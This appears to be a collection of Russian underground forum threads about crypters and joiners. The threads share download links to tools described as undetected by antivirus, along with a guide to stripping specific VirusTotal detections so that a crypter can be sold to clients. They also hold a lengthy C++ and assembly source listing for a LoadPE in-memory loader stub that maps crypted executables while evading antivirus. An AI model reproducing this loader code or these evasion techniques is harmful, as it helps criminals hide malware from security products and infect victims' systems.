Packers/Cryptors

Крипторы
ID: 6764df13b4103b69df3717f2
Thread ID: 14607
Created: 2008-02-17T04:49:56+0000
Last Post: 2024-07-28T17:19:01+0000
Author: Killerkod
Replies: 173 Views: 100K

Предлагаю тут выкладывать крипторы, собирать так сказать коллекцию))
Тему можно прикрепить.
Итак, вот выкладываю несколько крипторов. Некоторые палятся, некоторые не сильно. Используем их в связке и добиваемся желаемого результата))

K!Cryptor.rar - неплохой криптор. На данный момент не палится касперским и нодом.
Modified Crypt'o'Crack.rar - простенький криптор, на палевность не проверял
PAV.Cryptor.rar - всем извесный криптор от Опсика. Естественно уже много чем палится, выкладываю для коллекции.
winkript.rar - тоже простенький криптор, на палевность не проверял!

Joiners
ID: 6764df13b4103b69df3717f4
Thread ID: 14608
Created: 2008-02-17T05:02:34+0000
Last Post: 2022-11-09T13:11:13+0000
Author: Killerkod
Replies: 86 Views: 52K

Предлагаю тут выкладывать джоинеры, желатнльно непалящиеся;)

FreeJoiner™ Small+ by GlOFF (build 010) moded by Killerkod

На данный момент популярные аверы не палят

Качать тут:
http://rapidshare.com/files/87971696/FreeJoiner_.rar.html
Или тут:
http://webfile.ru/1715240

N-joy 0.1 moded by Killerkod
Вот результат:

Сильно чистить не стал, ибо время нету))
Качаем тут:
http://rapidshare.com/files/92521566/N-Joy.rar.html
Пасс - 11122111

Скинте исходники джойнера на C++
ID: 6764df13b4103b69df3718aa
Thread ID: 32217
Created: 2019-10-02T16:21:31+0000
Last Post: 2019-10-12T19:50:34+0000
Author: Matanbuchus
Replies: 76 Views: 42K

Cкинте пожалуйста исходники джойнера который мог бы склеить несколько (больше двух) файлов в один. Сразу говорю самостоятельно я нашел пару сорцов но они либо после второго запуска перестают работать либо не клеют несколько exe в один а только txt+exe или jpg+exe.

Возвращение
ID: 6764df13b4103b69df3718c4
Thread ID: 20402
Created: 2010-10-10T23:42:07+0000
Last Post: 2010-12-12T15:12:26+0000
Author: KraZz
Replies: 26 Views: 42K

Решил немного стиль поменять - теперь буду свои обзоры(мини) каждый раз новой темой обозначать, ибо все в одной теме складывать хорошо, но не юзабельно..(не прижилась эта фича здесь) так что, если кому интересны мои записки сумасшедшего %)) придецца юзать поиск или хз. как-то еще просвещацца и искать истЕну %)))

Сразу оговорюсь!: - то, что вы сейчас будите читать, писалось еще в феврале, а сталобыть инфа стара как библия, но никто еще не отменял ее актуальности для начинающих или даже для тех, кто имеет уже давно вопросы и возможно здесь найдет на них ответы :)
Короче, я эти февральские темные мысли привел в божеский вид и решил запостить их здесь :)

Теория:
При написании первого своего криптора, новички сразу же нарушают первую заповедь, которая гласит:
«Не уподобься ближнему своему»
Что это означает?, да все очень просто!
Если послать стандартную прожку(ну скажем написанную на Delphi) на virustotal.com(здесь именно этот сервис будет выступать в качестве жертвы для обхода(остальным я лично не доверяю!)), то с большой долей вероятности, некоторое количество аверов укажут на присутствие засранчика в этом сэмпле
Это и есмь великий соблазн, который заставляет слишком быстро соблазницца и стать невинным грешником :)
Вот тема(для примера), которая показывает на практике выше описанное:
http://wasm.ru/forum/viewtopic.php?id=34258 - Heuristic.BehavesLike.Win32.xxx
Раз аверы на стандартные проги орут, сталобыть они неудачнеки и их детект гуано
К чему это ведет?
1. Гораздо проще не разобравшись в сути проблемы(детекта), перейти на сервисы более низкого уровня и обманывать себя и окружающих мнимостью их результатов – ИМХО
2. Забить на вполне возможное создание грамотной техники обхода аверов(чич-то из-за лени, неуверенности в себе, из-за быстрых денег итд.)
3. И так как на рынке есть потребительский спрос и криптор покупают таким вот дерьмом, то нах напрягаццо
В результате мы имеем еще один гуано криптор и ежедневный "онанизм" с чистками %)))

Практика:

Spoiler: 8

http://demonteam.narod.ru/download/d3fja8r.rar

Там в архиве все нужные файлы, рисунки, исходники и прочая х#й[пии..]ня
Сразу скажу часть файлов сделана еще в феврале так что.. Короче кому надо разберецца че к чему.

Warning: Сэмпл естественно при осуществлении проверки/отсылки обязательно должен быть не рабочим , иначе рискуете шансом попадания его в сигнатурные базы или даже(если немного серьезный пишите криптор), то может быть создана "мини-подпрограмма" для его детекта

Шлём наш условный сэмпл на virustotal.com (мы знаем, что там ничего нет в сэмпле) и видим результат, он на рисунке 1 из архива

Code:Copy to clipboard

AVG  9.0.0.730  2010.02.20  Injector.EZ
BitDefender  7.2  2010.02.20  Gen:Trojan.Heur.Hype.aq0@aSK7ePf
F-Secure  9.0.15370.0  2010.02.19  Gen:Trojan.Heur.Hype.aq0@aSK7ePf
GData  19  2010.02.20  Gen:Trojan.Heur.Hype.aq0@aSK7ePf
Symantec  20091.2.0.41  2010.02.20  Suspicious.Insight

Хе-хе нас спалили аж нах 5 антивирусов
Наша задача сделать выдачу этого семпла по нулям
Для начала попробуем из результатов убрать святую троицу с сигной Gen:t rojan.Heur.Hype
Здесь я покажу причину появления такой сигны в результатах, ну а тот, кто знает хорошо ПЕ формат, естественно без проблем сможет пофиксить такую траблу в своем крипторе :)
Весь корень зла здесь кроется в импорте %))) если в массиве строк импорта имена библиотек идут первыми, то мы и будем наблюдать в результатах именно эту сигнатуру
На рисунке PE1 из архива красным выделены имена библ, а синим имена API-функий
А на рисунке PE2 из архива показано как должно быть правильно
Для не особо видящих разницу поясню, что все дело в положении имен - вначале должны идти имена API-функий , а вслед за ними уже имя библы из которой эти API импортируются
Вот так просто эту убогую троицу мы удалим из списка %)))

AVG 9.0.0.730 2010.02.20 Injector.EZ
Тоже удаляется из списка очень просто, путем добавления в сэмпл Rich сигнатуры(тут речь идет именно о СТАНДАРТЕ, исключительные ситуации естественно НЕ учитываются, так как инфа предназначена в основном для начинающих)
Линк уже не помню, короче исходный код RichFuke.asm в архиве найдете(я сам из него ChangeRICH юзаю)
Советую изучить этот сорс, грамотно сделан – ИМХО
Еще Rich формат хорошо описан:
http://www.ntcore.com/Files/richsign.htm - Microsoft's Rich Signature (undocumented)
Еще я в архив немного обновленную версию оффлайн чекера положил, может кому и понадобится, там детек Rich сигны добавлен, MD5, чекер на упакованность, короче энтропия и все такое что облегчает предварительный анализ, чтобы постоянно не отсылать на проверку..

Теперь атака на клоунов
Разбираемся с оставшейся сигной
Symantec 20091.2.0.41 2010.02.24 Suspicious.Insight
Есть аверы которые играют на рынке "не честно", ну или вернее тех кого "на выдаче глючит"
Вот этот Symantec и есть то самое гуано-чудо, но каг говорицца на хитрую жопу всегда найдецца ху[пии..] с винтом
Что мы делаем:
Берем стандартный файлег(системный) ну к примеру write.exe(это обертка над wordpad.exe, который вызываецца при помощи ShellExecute)
И шлем на проверку, нам могут показать надпись типа такой: «Файл уже проанализирован:»
Заставляем его еще раз проверить: «Повторить анализ сейчас»
И видим что этот ахтунг(Symantec) МОЛЧИТ
Теперь берем этот write.exe и меняем в нем дату компиляции при помощи того же PE Tools
File Header->Time/Date Stamp(кнопка ...) и в поле Decoded меняем год, день итд..
Смысл здесь в том, что это поле аверами не проверяется, потому как там может стоять любая дата компиляции, а вот MD5 тем самым мы изменяем!
И отправляем опять на проверку и видим что этот ахтунг(Symantec) светит нам туже сигну Suspicious.Insight
Теперь мы знаем то уЁбище, которое нам портит стату своим детектом по MD5(у них там походу большая база MD5 разных файлов(и системных в том числе) от разных windows(ну вернее было раньше так, может сейчас что-то и изменилось) и вот, если нет такой MD5, то ставит на "подозрение")
В "аське" заказчику/клиенту предоставляем эти данные о ахтунге – такая инфа любого убедит что криптор гуд
Ну, вот как оказалось ничего страшного в этом virustotal.com нет, главное знать, как обойти их "примитивные" детекты. %)))

Криптор исполняемых файлов. РЭволюция =).
ID: 6764df13b4103b69df37180c
Thread ID: 42999
Created: 2020-10-08T12:04:23+0000
Last Post: 2024-08-26T22:15:32+0000
Author: Octavian
Prefix: Статья
Replies: 115 Views: 33K

Всем привет друзья!

Снова конкурс, а значит снова появился повод поделиться чем-то интересным и полезным с комьюнити.
Хочу выразить огромный респект организаторам, за то что нашли крутой способ для форума собрать классный контент, повышать репутацию форума и притянуть молодых.

В моей прошлой конкурсной статье вами были заданы вопросы про загрузчик, и я тогда ответил:

Загрузчик это отдельная интересная тема, на которую можно будет статью написать и разобрать все нюансы, такие как правильный хэндлинг TLS, ресурсов криптуемого приложения, обработку импорта, экспорта и т.д..
Еще на отдельную тему тянет статья по антиэмуляции (генератору уникальных антиэмуляторов, привет инде :D). В крипторе есть задел в завязывании генерируемого кода на магические переменные, результат которых отдают антиэмуляторы.
Об этом тоже есть что рассказать, может как нибудь в другой раз.

Click to expand...

**Сказано - сделано.

![](/proxy.php?image=https%3A%2F%2Fcdn.business2community.com%2Fwp- content%2Fuploads%2F2017%2F10%2Fhidden_code_1508778570.jpg&hash=ec6621c2265cf1b812cd440890643b8d)**

Загрузчик это действительно отдельная, интересная тема, к которой нужно подойти основательно и расставить все точки над i.
Проект криптора, описанный в прошлой статье, содержит уже откомпилированные версии шеллкодов загрузчика в память, без исходного кода.
В этой статье я поделюсь с вами его полным исходным кодом, опишу что он делает и как происходит обработка и мэппинг файла в память в нюансах.
Мы поговорим о том, чем это решение отличается от системного загрузчика, посмотрим относительно кода системного загрузчика в XP.
Порассуждаем о пользе прямого мэппинга в памяти перед инжектами, такими как RunPE и иже с ними.

Немного предыстории:
Появившийся как концепт, способ загрузки RunPE был практически идеальным решением загрузки бинарика в память на рубеже 08-12гг.
Тогда антивирусы еще относительно плохо умели хучить вызовы и перехватывать управление вновь созданного процесса, проверяя его контекст.
По сути проактивные системы проходили своё становление как самостоятельные технологии и во главе угла стояли сигнатурный и эвристические
алгоритмы обнаружения крипторов.

Принцип работы RunPE достаточно прост:
Стаб
(контейнер криптованного файла) пораждает новый приостановленный процесс через CreateProcess с флагом CREATE_SUSPENDED,
получает контекст главного потока через GetThreadContext, после чего приостановленный процесс анмепится с помощью NtUnmapViewOfSection
и по адресу ImageBase выделяется память через VirtualAllocEx с флагом PAGE_EXECUTE_READWRITE.
Далее в выделенную память через WriteProcessMemory записываются хидер криптованного файла и секции.
Финальные штрихи это установка нового контекста на точку входа для главного потока через SetThreadContext и восстановление
приостановленного потока через ResumeThread.

Для поддержки x64 файлов в RunPE требовалось совершить минимум изменений с учетом смещений и регистров (eax\rax, ebx\rbx и т.д.) и вот уже готова полноценная поддержка х64 файлов.
В целом история с RunPE довольно простая, очень стабильная и хорошо отрабатывающая практически любые типы нативных PE файлов, будь то хитрые
заглушки в TLS, аномальные заголовоки, упакованные файлы и т.д.

Одна беда - технологию с того времени так затерли до дыр, что любой уважающий себя антивирус научился определять этот способ загрузки в память,
что напрочь отменяло бы саму идею сокрытия криптуемого файла от антивирусов. С появлением механизмов сканирования памяти эта технология окончательно умерла.

Есть еще промежуточные способы загрузки в память, я отнесу их к RunPE-подобным и назову их инжектами. В данной статье их рассматривать я не буду.

LoadPE :
Первые попытки нативной (почему нативной - опишу ниже) загрузки бинарного файла в память (в паблике) выкладывал покойный Great, как раз на дамаге и на васме.
Те наработки хоть и отражали суть концепции, хотя и работали кое как, но умели обрабатывать только ограниченное количество самых стандартных PE файлов.
Любые отклонения от эталонного PE формата - и загрузка такого файла в память фейлилась.
Позже свои наработки отрывками выкладывал el-, тоже на дамаге.

Многие "мастера" не стали заморачиваться со своим кодом и рипнули загрузчик с криптованных семплов, тупо вставив в свой криптор, мол ведь и так работает.
Ну а некоторым, как мне, захотелось разобраться в сути технологии и написать своё решение, которое было бы способно обрабатывать доминирующее большинство PE файлов,
с учетом разных хитрых, нестандартных техник, поддерживающее как 86 так и 64 архитектуры PE формата.
И вот на базе этих наработок и путем долгих реверсов оригинального загрузчика винды, технология нативной загрузки в память шлифовалась, пока не выкатилось готовое решение.

Почему я называю этот способ нативным? Да потому, что в отличие от незамысловатого RunPE, в LoadPE нам нужно руками воспроизводить действия, которые обычно выполняет
сам загрузчик винды.

Рассмотрим механизм, который используется в нативном загрузчике винды:

В основе загрузки любого модуля лежит функция LoadLibrary, точнее её более низкоуровневые функции из ntdll, такие как LdrLoadDll и LdrpLoadDll.

C++:Copy to clipboard

NTSTATUS
LdrpInitializeProcess (
    IN PCONTEXT Context OPTIONAL,
    IN PVOID SystemDllBase,
    IN PUNICODE_STRING UnicodeImageName,
    IN BOOLEAN UseCOR,
    IN BOOLEAN ImageFileOptionsPresent
    )

/*++

Routine Description:

    This function initializes the loader for the process.
    This includes:

        - Initializing the loader data table

        - Connecting to the loader subsystem

        - Initializing all staticly linked DLLs

Arguments:

    Context - Supplies an optional context buffer that will be restore
              after all DLL initialization has been completed.  If this
              parameter is NULL then this is a dynamic snap of this module.
              Otherwise this is a static snap prior to the user process
              gaining control.

    SystemDllBase - Supplies the base address of the system dll.

    UnicodeImageName - Base name + extension of the image

    UseCOR - TRUE if the image is a COM+ runtime image, FALSE otherwise

    ImageFileOptionsPresent - Hint about existing any ImageFileExecutionOption key.
            If the key is missing the ApplicationCompatibilityGoo and
            DebugProcessHeapOnly entries won't be checked again.

Return Value:

    Status value

--*/


NTSTATUS
NTAPI
LdrpLoadDll(
    ULONG Flags OPTIONAL,
    IN PWSTR DllPath OPTIONAL,
    IN PULONG DllCharacteristics OPTIONAL,
    IN PUNICODE_STRING DllName,
    OUT PVOID *DllHandle,
    IN BOOLEAN RunInitRoutines
    )


/*++

Routine Description:

    This function loads a DLL into the calling process address space.

Arguments:

    DllPath - Supplies the search path to be used to locate the DLL.

    DllCharacteristics - Supplies an optional DLL characteristics flag,
        that if specified is used to match against the dll being loaded.

    DllName - Supplies the name of the DLL to load.

    DllHandle - Returns a handle to the loaded DLL.

Return Value:

    TBD

--*/

NTSTATUS
LdrpMapDll(
    IN PWSTR DllPath OPTIONAL,
    IN PWSTR DllName,
    IN PULONG DllCharacteristics OPTIONAL,
    IN BOOLEAN StaticLink,
    IN BOOLEAN Redirected,
    OUT PLDR_DATA_TABLE_ENTRY *LdrDataTableEntry
    )

/*++

Routine Description:

    This routine maps the DLL into the users address space.

Arguments:

    DllPath - Supplies an optional search path to be used to locate the DLL.

    DllName - Supplies the name of the DLL to load.

    StaticLink - TRUE if this DLL has a static link to it.

    LdrDataTableEntry - Supplies the address of the data table entry.

Return Value:

    Status value.

--*/

Настоятельно советую ознакомиться с полным кодом этих функций. Дабы вы не искали в моменте, я также выложу его далее,
чтобы не засорять основной посыл данной статьи.

Для тех, кто всё же хочет в подробностях изучить этот механизм в оригинале, можете найти код в файлах ...\base\ntdll\ldrinit.c, ...\base\ntdll\ldrapi.c и ...\base\ntdll\ldrsnap.c

Click to expand...

Как можно увидеть, винда делает просто кучу дополнительных манипуляций при загрузке файла, дополнительные проверки, обработку всего и вся и в том числе нотификацию
о событиях.

Моя реализация выглядит гораздо проще, но от этого не менее эффективная и минимальный необходимый набор действий она выполняет.
А еще она после компляции весит чуть более 2 кб :)

Ок, давайте взглянем на мой загрузчик:
Он поддерживает x86\x64 PE файлы, как EXE так и DLL, а еще гибридные, которые одновеменно и EXE и DLL.
Умеет хэндлить ActCtx, SEH, стартап код, анпакинг с помощью aplib, восстанавливать Tls колбеки и многое другое.
Участки, отвечающие за обработку x64 PE обрамлены в соотвествующие дефайны**#ifdef _WIN64.**

C++:Copy to clipboard

VOID WINAPI pe2mem(PPE_LOADER_PARAMS params)
{
    DWORD_PTR Base = params->base;

    PIMAGE_NT_HEADERS pNt = ((PIMAGE_NT_HEADERS)((DWORD_PTR)Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew));

    BOOL  IsImageDll = (pNt->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE; // for hybrids, our exe may be dll, we must restore how exe, but fix peb how dll
    DWORD SizeOfBase = pNt->OptionalHeader.SizeOfImage;

pe2mem - основная функция загрузчика, принимает единственный параметр PPE_LOADER_PARAMS params.
В pNt читаем NtHeaders криптованного файла
В Base у нас адрес, по которому нужно загрузить файл.
В IsImageDll мы определяем, читая Characteristics какой файл перед нами EXE или DLL. (Это позволяет обрабатывать файлы тансформеры).
В SizeOfBase соотвественно размер образа.

Вот эта структура:

C++:Copy to clipboard

typedef struct _PE_LOADER_PARAMS
{
    DWORD_PTR    base; // ImageBase
    PVOID        file; // Pointer to file buffer
    DWORD        file_size; // File size
    DWORD        flags; // Additional flags
}PE_LOADER_PARAMS, *PPE_LOADER_PARAMS;

Думаю и так ясно что она делает, передаёт ImageBase, буфер файла, его размер и дополнительные параметры.

C++:Copy to clipboard

#ifndef _WIN64
    DWORD PrologLocalVarsSize = 0;

    if( !(params->flags & PE_LDR_FLAG_NOT_STUB) )
    {
        //find c++ seh_prolog4
        PBYTE pScan = (PBYTE)((DWORD_PTR)Base + pNt->OptionalHeader.AddressOfEntryPoint);
        for(int i = 0; i < 30; i++ )
        {
            if( *pScan==0xE9 && *(PWORD)(pScan + 3)==0xFFFF ) //  E9 9F FD FF FF jmp     __DllMainCRTStartup (exe)
                break;

            if( *pScan==0xE8 && *(PWORD)(pScan + 3)==0xFFFF ) //  E8 9F FD FF FF call     __DllMainCRTStartup (dll)
                break;

            pScan++;
        }

        if( *pScan!=0xE9 && *pScan!=0xE8 )
            return;

        pScan = (PBYTE)((INT_PTR)pScan + 5 + *(PINT_PTR)(pScan + 1)); // __DllMainCRTStartup
        if( *pScan==0x6A )
        {
            PrologLocalVarsSize = *(pScan + 1);
        }else if( *pScan==0x68 )
        {
            PrologLocalVarsSize = *(PDWORD)(pScan + 1);
        }else{
            return ;
        }
    }
#endif

Данный участок кода это такой лайфхак.
Если ваш стаб имеет код инициализации (т.н. startup код), у вас практически гарантированно возникнут проблемы на этом этапе.
Данный код позволяет проскипать пролог и получить его итоговый размер.
Нужно учитывать, что для каждой версии стартап кода сигнатура может отличаться. Данная реализация покрывает версии студий VC2008, VC2010.

C++:Copy to clipboard

    PEB* Peb  = GET_PEB();

    PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InInitializationOrderModuleList.Flink;
    Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);

    DWORD_PTR Ntdll = (DWORD_PTR)Entry->DllBase;
    DWORD_PTR NtdllEnds = Ntdll + Entry->SizeOfImage;

    // kernelbase ?
    while( hash_stringW(Entry->BaseDllName.Buffer)!=HASH_KERNEL32_DLL )
    {
        Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InInitializationOrderLinks.Flink;
        Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);
    }

    DWORD_PTR Kernel32 = (DWORD_PTR)Entry->DllBase;
    DWORD_PTR Kernel32Ends = Kernel32 + Entry->SizeOfImage;

    KernelProcs kprocs = {
        (TD_GetProcAddress)HASH_GetProcAddress,
        (TD_VirtualAlloc)HASH_VirtualAlloc,
        (TD_LoadLibraryA)HASH_LoadLibraryA,
        (TD_VirtualProtect)HASH_VirtualProtect,
        (TD_VirtualFree)HASH_VirtualFree,
        (TD_ActivateActCtx)HASH_ActivateActCtx,
        (TD_CreateActCtxA)HASH_CreateActCtxA,
        (TD_TlsAlloc)HASH_TlsAlloc,
        (TD_TlsSetValue)HASH_TlsSetValue,
        (TD_FlsFree)HASH_FlsFree,
        (TD_RtlAddFunctionTable)HASH_RtlAddFunctionTable,
        (TD_RtlDeleteFunctionTable)HASH_RtlDeleteFunctionTable,
        (TD_AcquireSRWLockShared)HASH_AcquireSRWLockShared,
        NULL
    };

    for(int i = 0; i < sizeof(KernelProcs)/sizeof(DWORD_PTR); i++)
    {
        *((PDWORD_PTR)&kprocs + i) = (DWORD_PTR)hash_find_proc((PVOID)Kernel32,*((PDWORD_PTR)&kprocs + i));
    }

В этом участке кода мы получаем указатель на Peb , узнаем адреса модулей NTDLL и KERNEL32.
Далее мы находим указатели на необходимые WinAPI функции по их хэшам, и заполняем структуру KernelProcs.
hash_find_proc позволяет по хэшу от строки найти функцию.

C++:Copy to clipboard

DWORD API_CALL hash_string(PCHAR String,BOOL IsUnicode)
{
    DWORD i;
    DWORD Result = 0;

    if( String )
    {
        for(i=0; *String ;i++)
        {
            Result = _rotl(Result,3);
            Result ^= ( *String>='A' && *String<='Z' ? *String | 0x20 : *String );
            String++;
            if( IsUnicode )
                String++;
        }

        Result &= ~IMAGE_ORDINAL_FLAG32;
    }

    return Result;
}

Данная функция позволяет хэшировать строку, в том числе юникодную, на выходе получить DWORD от этой строки.

C++:Copy to clipboard

    __debugbreak();

    PVOID SavedFile = kprocs.VirtualAlloc(NULL,params->file_size,MEM_COMMIT,PAGE_READWRITE);
    if( SavedFile )
    {
        if( params->flags & PE_LDR_FLAG_USE_APLIB )
        {
            aplib_depack_fast(params->file, SavedFile);
        }else{
            mem_copy(SavedFile,params->file,params->file_size);
        }

        PIMAGE_DOS_HEADER pDos;
        PIMAGE_NT_HEADERS pNt;

        // free fls data
        if( !(params->flags & PE_LDR_FLAG_NOT_STUB) && Peb->OSMajorVersion > 5 )
        {
            DWORD Count = Peb->FlsCount;
            for(int i = 0; i <= Count; i++)
            {
                __debugbreak();
                if( IN_DLL(Peb->FlsCallbacks[i].Base,Base,Base + SizeOfBase) )
                {
                    kprocs.FlsFree(i);
                }
            }
        }

В SavedFile выделям память в размере file_size.
Проверяем флаги, если PE_LDR_FLAG_USE_APLIB , то используем распаковку буфера с помощью алгоритма aPlib_depack.
Если в флаги не передан PE_LDR_FLAG_NOT_STUB и Peb- >OSMajorVersion > 5, то пересчитываем Fls колбеки соответствующим образом.

Code:Copy to clipboard

aplib_depack_fast proc a:DWORD, b:DWORD
    ; aP_depack_asm_fast(const void *source, void *destination)

    mov    [rsp + 8], rsi
    mov    [rsp + 16], rdx
    push   rdi

    mov    rsi, rcx
    mov    rdi, rdx

    cld
    mov    dl, 80h

literal:
    mov    al, [rsi]
    add    rsi, 1
    mov    [rdi], al
    add    rdi, 1

    mov    r9, 2

nexttag:
    getbitM
    jnc    literal

    getbitM
    jnc    codepair

    xor    rax, rax
    getbitM
    jnc    shortmatch

    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    jz     thewrite

    mov    r9, rdi
    sub    r9, rax
    mov    al, [r9]

thewrite:
    mov    [rdi], al
    add    rdi, 1

    mov    r9, 2
    jmp    short nexttag

codepair:
    getgammaM rax
    sub    rax, r9
    mov    r9, 1
    jnz    normalcodepair

    getgammaM rcx
    domatchM r8

    jmp    nexttag

normalcodepair:
    add    rax, -1

    shl    rax, 8
    mov    al, [rsi]
    add    rsi, 1

    mov    r8, rax

    getgammaM rcx

    cmp    rax, 32000
    sbb    rcx, -1

    cmp    rax, 1280
    sbb    rcx, -1

    cmp    rax, 128
    adc    rcx, 0

    cmp    rax, 128
    adc    rcx, 0

    domatchM rax
    jmp    nexttag

shortmatch:
    mov    al, [rsi]
    add    rsi, 1

    xor    rcx, rcx
    db     0c0h, 0e8h, 001h
    jz     donedepacking

    adc    rcx, 2

    mov    r8, rax

    domatchM rax

    mov    r9, 1
    jmp    nexttag

donedepacking:
    mov    rax, rdi
    sub    rax, [rsp + 24]

    mov    rsi, [rsp + 16]
    pop    rdi

    ret
aplib_depack_fast endp

Алгоритм распаковки буфера aPlib_depack.

C++:Copy to clipboard

#ifdef _WIN64
        pDos = (PIMAGE_DOS_HEADER)Base;
        pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

        DWORD_PTR SaveRegs[r_all];

        mem_zero(SaveRegs,sizeof(DWORD_PTR)*r_all);

        __debugbreak();
        PDWORD_PTR Rsp = (PDWORD_PTR)get_return();
        while( !IN_DLL(*Rsp,Kernel32,Kernel32Ends) && !IN_DLL(*Rsp,Ntdll,NtdllEnds) )
        {
            Rsp = find_next_rsp(SaveRegs,Rsp);
        }

#endif

В случае, если мы собраны под x64, находим Rsp.

C++:Copy to clipboard

        pDos = (PIMAGE_DOS_HEADER)SavedFile;
        pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

        DWORD OldProtection;

        __debugbreak();

        if( kprocs.VirtualProtect((PVOID)Base,pNt->OptionalHeader.SizeOfImage,PAGE_EXECUTE_READWRITE,&OldProtection) )
        {
            PVOID NewImageBase = (PVOID)Base;

            mem_set(NewImageBase,0,pNt->OptionalHeader.SizeOfImage); // bugfix: must be NULL where not writed something

            mem_copy(NewImageBase, pDos, pNt->OptionalHeader.SizeOfHeaders);

            PIMAGE_SECTION_HEADER Sections = IMAGE_FIRST_SECTION(pNt);

            for (INT i = 0; i < pNt->FileHeader.NumberOfSections; i++)
            {
                mem_copy((PVOID)((DWORD_PTR)NewImageBase + Sections->VirtualAddress), (PVOID)((DWORD_PTR)pDos + Sections->PointerToRawData), Sections->SizeOfRawData);
                Sections++;
            }

            PIMAGE_DOS_HEADER pNewDos = (PIMAGE_DOS_HEADER)NewImageBase;
            PIMAGE_NT_HEADERS pNewNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNewDos + pNewDos->e_lfanew);

            process_peb(NewImageBase,IsImageDll,(PVOID)Base);
            process_resource(&kprocs,NewImageBase); //bugfix: manifest must be processed first, and other dll may be after that, or import may fail call [NULL]
            process_import(&kprocs,NewImageBase);
            process_relocs(NewImageBase); //
            process_tls(&kprocs,NewImageBase); // tls must be after relocs, because they fix StartDataAddress and other info

В данном участке кода мы получаем указатели на DOS и Nt заголовки.
Меняем аттрибуты выделенной памяти на PAGE_EXECUTE_READWRITE.
Копируем заголовки, секции.
Обрабатываем Peb.
Обрабатываем ресурсы.
Обрабатываем импорт.
Обрабатываем релоки.
Обрабатываем TLS.

C++:Copy to clipboard

VOID __fastcall process_peb(PVOID ImageData,BOOL IsImageDll,PVOID OldImageBase)
{
    PEB* Peb = GET_PEB();

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    if( !IsImageDll )
    {
        Peb->ImageBaseAddress = (DWORD_PTR)ImageData;
    }

    PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InMemoryOrderModuleList.Flink;
    while( Entry!= (PLDR_DATA_TABLE_ENTRY)&Peb->Ldr->InMemoryOrderModuleList )
    {
        Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);

        if( Entry->DllBase==OldImageBase )
        {
            Entry->DllBase = ImageData;
            Entry->EntryPoint = (PVOID)((DWORD_PTR)pDos + pNt->OptionalHeader.AddressOfEntryPoint);
            Entry->SizeOfImage = pNt->OptionalHeader.SizeOfImage;

            break;
        }

        Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InMemoryOrderLinks.Flink;
    }
}

Обрабатываем Peb.

C++:Copy to clipboard

VOID __fastcall process_resource(KernelProcs* Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_RESOURCE_DIRECTORY Resource = (PIMAGE_RESOURCE_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);

    if (Resource!=(PIMAGE_RESOURCE_DIRECTORY)pDos)
    {
        CHAR Name[8];
        ULONG_PTR Cookie;

        *(PDWORD)Name = 'a';

        ACTCTXA Ctx;

        Ctx.cbSize = sizeof(ACTCTXA);
        Ctx.dwFlags = ACTCTX_FLAG_HMODULE_VALID | ACTCTX_FLAG_RESOURCE_NAME_VALID;
        Ctx.lpResourceName = MAKEINTRESOURCEA(1);
        Ctx.lpSource = Name;
        Ctx.wProcessorArchitecture = 0;
        Ctx.lpAssemblyDirectory = NULL;
        Ctx.lpApplicationName = NULL;
        Ctx.hModule = (HMODULE)ImageData;

        HANDLE hCtx = Procs->CreateActCtxA(&Ctx);
        if( hCtx!=INVALID_HANDLE_VALUE )
        {
            Procs->ActivateActCtx(hCtx,&Cookie);
        }
    }
}

Обрабатываем ресурсы тушки.
Тут важный момент - activation context . Начиная с 7ки в винде в ресурсах появилось понятие manifest или RESID=24. Это нужно в том числе для правильной работы UAC.
Эта функция правильным образом хэндлит такие ресурсы. Читать подробнее[ тут](https://docs.microsoft.com/en-us/windows/win32/sbscs/microsoft-windows- actctx-object).

Microsoft.Windows.ActCtx object
The Microsoft.Windows.ActCtx object references manifests and provides a way for scripting engines to access side-by-side assemblies. The Microsoft.Windows.ActCtx object can be used to create an instance of a side- by-side assembly with COM components.
The Microsoft.Windows.ActCtx object comes as an assembly in Windows Server 2003. It can also be installed by applications that use the Windows Installer for setup and include it as a merge module in their installation package.

Click to expand...

C++:Copy to clipboard

VOID __fastcall process_import(KernelProcs *Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_IMPORT_DESCRIPTOR Import = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (Import!=(PIMAGE_IMPORT_DESCRIPTOR)pDos)
    {
        while (Import->Name != 0)
        {
            PCHAR DllName = (PCHAR)((DWORD_PTR)pDos + Import->Name);

            HMODULE Dll = Procs->LoadLibraryA(DllName);

            if (!Dll)
                return ;

